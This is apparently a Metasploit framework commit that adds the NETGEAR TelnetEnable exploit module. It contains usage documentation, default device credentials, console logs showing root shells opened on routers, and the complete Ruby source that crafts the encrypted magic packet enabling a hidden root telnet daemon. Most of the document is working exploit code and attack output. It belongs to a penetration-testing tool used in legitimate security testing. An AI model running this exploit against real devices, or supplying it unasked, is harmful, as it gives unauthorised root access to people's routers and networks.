Land #9650 netgear telnetenable exploit

GSoC/Meterpreter_Web_Console
h00die 2018-03-02 21:01:35 -05:00
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## Intro
Several models of Netgear devices have a hidden telnet daemon that can be
enabled for remote LAN users by sending a 'magic packet' to the device.
Upon successful connect, a root shell should be presented to the user.
There are many devices which contain this daemon, for a full list see [OpenWrt](https://wiki.openwrt.org/toh/netgear/telnet.console).
This module has been successfully tested against:
- AC1450 - unknown older firmware (TCP)
- AC1450 - latest firmware: V1.0.0.36_10.0.17 (UDP)
- N300 WNR2000 v3 - firmware: V1.1.2.10 (TCP)
## Setup
A MAC address is required for exploitation. To determine the MAC address of the device:
1. Ping the device to force an ARP lookup: ```ping -c 1 [IP]```
2. Get the MAC: ```arp -an [IP]```
If you are the root user, you can skip this step. ARP will be leveraged
to find the MAC address.
## Targets
**0 (Automatic)**
Detect if a device listens on TCP or UDP.
**1 (TCP)**
Older devices usually listen on TCP.
**2 (UDP)**
Newer devices usually listen on UDP.
## Options
**MAC**
Set this to the MAC address of the device. You can use `ping` and `arp`
to find it.
You can leave this blank if you're root.
**USERNAME**
If this is an older device, it'll take the value of `super_username` in
`nvram`, which is usually unchanged from `Gearguy`.
If this is a newer device, it'll take the web UI username, which is
usually unchanged from `admin`.
You can leave this blank to use the default username.
**PASSWORD**
If this is an older device, it'll take the value of `super_passwd` in
`nvram`, which is usually unchanged from `Geardog`.
If this is a newer device, it'll take the web UI password, which is
usually unchanged from `password`.
You can leave this blank to use the default password.
## Exploitation
1. Make sure you have a vulnerable device
2. Start metasploit
3. ```use exploit/linux/telnet/netgear_telnetenable```
4. ```set rhost [IP]```
5. ```set mac [MAC Address]``` if not running as root
6. ```exploit```
7. Enjoy a root shell!
## Usage
### AC1450
As a normal user:
```
msf5 > use exploit/linux/telnet/netgear_telnetenable
msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf5 exploit(linux/telnet/netgear_telnetenable) > ping -c 1 192.168.1.1
[*] exec: ping -c 1 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=2.04 ms
--- 192.168.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.041/2.041/2.041/0.000 ms
msf5 exploit(linux/telnet/netgear_telnetenable) > arp -an 192.168.1.1
[*] exec: arp -an 192.168.1.1
? (192.168.1.1) at [redacted] [ether] on wlan0
msf5 exploit(linux/telnet/netgear_telnetenable) > set mac [redacted]
mac => [redacted]
msf5 exploit(linux/telnet/netgear_telnetenable) > run
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
[+] 192.168.1.1:23 - Using creds admin:password
[*] 192.168.1.1:23 - Generating magic packet
[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
[*] 192.168.1.1:23 - Sending magic packet
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
[*] 192.168.1.1:23 - Waiting for telnetd
[*] 192.168.1.1:23 - Connecting to telnetd
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.3:34833 -> 192.168.1.1:23) at 2018-03-02 19:26:25 -0600
id
id
uid=0 gid=0(root)
# uname -a
uname -a
Linux (none) 2.6.36.4brcmarm+ #16 SMP PREEMPT Wed Mar 22 15:02:38 CST 2017 armv7l unknown
#
```
As root:
```
msf5 > use exploit/linux/telnet/netgear_telnetenable
msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1
rhost => 192.168.1.1
rmsf5 exploit(linux/telnet/netgear_telnetenable) > run
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
[*] 192.168.1.1:23 - Attempting to discover MAC address via ARP
[+] 192.168.1.1:23 - Found MAC address [redacted]
[+] 192.168.1.1:23 - Using creds admin:password
[*] 192.168.1.1:23 - Generating magic packet
[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
[*] 192.168.1.1:23 - Sending magic packet
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
[*] 192.168.1.1:23 - Waiting for telnetd
[*] 192.168.1.1:23 - Connecting to telnetd
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.2:37771 -> 192.168.1.1:23) at 2018-03-02 19:33:42 -0600
id
id
uid=0 gid=0(root)
# uname -a
uname -a
Linux (none) 2.6.36.4brcmarm+ #16 SMP PREEMPT Wed Mar 22 15:02:38 CST 2017 armv7l unknown
#
```

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Capture
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR TelnetEnable',
'Description' => %q{
This module sends a magic packet to a NETGEAR device to enable telnetd.
Upon successful connect, a root shell should be presented to the user.
},
'Author' => [
'Paul Gebheim', # Python PoC (TCP)
'insanid', # Python PoC (UDP)
'wvu', # Metasploit module
],
'References' => [
['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
['URL', 'https://github.com/insanid/netgear-telenetenable']
],
'DisclosureDate' => 'Oct 30 2009', # Python PoC (TCP)
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' => [
['Automatic (detect TCP or UDP)',
proto: :auto
],
['TCP (typically older devices)',
proto: :tcp,
username: 'Gearguy',
password: 'Geardog'
],
['UDP (typically newer devices)',
proto: :udp,
username: 'admin',
password: 'password'
]
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(23),
OptString.new('MAC', [false, 'MAC address of device']),
OptString.new('USERNAME', [false, 'Username on device']),
OptString.new('PASSWORD', [false, 'Password on device'])
])
end
def check
# Run through protocol detection
detect_proto
# This is a gamble, but it's the closest we can get
if @proto == :tcp
CheckCode::Detected
else
CheckCode::Unknown
end
end
def exploit
# Try to do the exploit unless telnetd is detected
@do_exploit = true
# Detect TCP or UDP and presence of telnetd
@proto = target[:proto]
detect_proto if @proto == :auto
# Use supplied or ARP-cached MAC address
configure_mac if @do_exploit
# Use supplied or default creds
configure_creds if @do_exploit
# Shell it
exploit_telnetenabled if @do_exploit
connect_telnetd
end
def detect_proto
begin
connect
res = begin
sock.get_once || ''
rescue EOFError
''
end
# telnetenabled returns no data, unlike telnetd
if res.length == 0
print_good('Detected telnetenabled on TCP')
else
print_good('Detected telnetd on TCP')
@do_exploit = false
end
@proto = :tcp
# It's UDP... and we may not get an ICMP error...
rescue Rex::ConnectionError
print_good('Detected telnetenabled on UDP')
@proto = :udp
ensure
disconnect
end
end
def configure_mac
@mac = datastore['MAC']
return if @mac
print_status('Attempting to discover MAC address via ARP')
begin
open_pcap
@mac = lookup_eth(rhost).first
rescue RuntimeError
fail_with(Failure::BadConfig, 'Superuser access required')
ensure
close_pcap
end
if @mac
print_good("Found MAC address #{@mac}")
else
fail_with(Failure::Unknown, 'Could not find MAC address')
end
end
def configure_creds
@username = datastore['USERNAME'] || target[:username]
@password = datastore['PASSWORD'] || target[:password]
# Try to use default creds if no creds were found
unless @username && @password
tgt = targets.find { |t| t[:proto] == @proto }
@username = tgt[:username]
@password = tgt[:password]
end
print_good("Using creds #{@username}:#{@password}")
end
def exploit_telnetenabled
print_status('Generating magic packet')
payload = magic_packet(@mac, @username, @password)
begin
print_status("Connecting to telnetenabled via #{@proto.upcase}")
@proto == :tcp ? connect : connect_udp
print_status('Sending magic packet')
@proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
rescue Rex::ConnectionError
fail_with(Failure::Disconnected, 'Something happened mid-connection!')
ensure
print_status('Disconnecting from telnetenabled')
@proto == :tcp ? disconnect : disconnect_udp
end
# Wait a couple seconds for telnetd to come up
print_status('Waiting for telnetd')
sleep(2)
end
def connect_telnetd
print_status('Connecting to telnetd')
connect
handler(sock)
end
# NOTE: This is almost a verbatim copy of the Python PoC
def magic_packet(mac, username, password)
mac = mac.gsub(/[:-]/, '').upcase
if mac.length != 12
fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
end
just_mac = mac.ljust(0x10, "\x00")
if username.length > 0x10
fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
end
just_username = username.ljust(0x10, "\x00")
if @proto == :tcp
if password.length > 0x10
fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
end
just_password = password.ljust(0x10, "\x00")
elsif @proto == :udp
# Thanks to Roberto Frenna for the reserved field analysis
if password.length > 0x21
fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
end
just_password = password.ljust(0x21, "\x00")
end
cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
md5_key = Rex::Text.md5_raw(cleartext)
payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))
secret_key = 'AMBIT_TELNET_ENABLE+' + password
byte_swap(blowfish_encrypt(secret_key, payload))
end
def blowfish_encrypt(secret_key, payload)
cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
cipher.padding = 0
cipher.key_len = secret_key.length
cipher.key = secret_key
cipher.update(payload) + cipher.final
end
def byte_swap(data)
data.unpack('N*').pack('V*')
end
end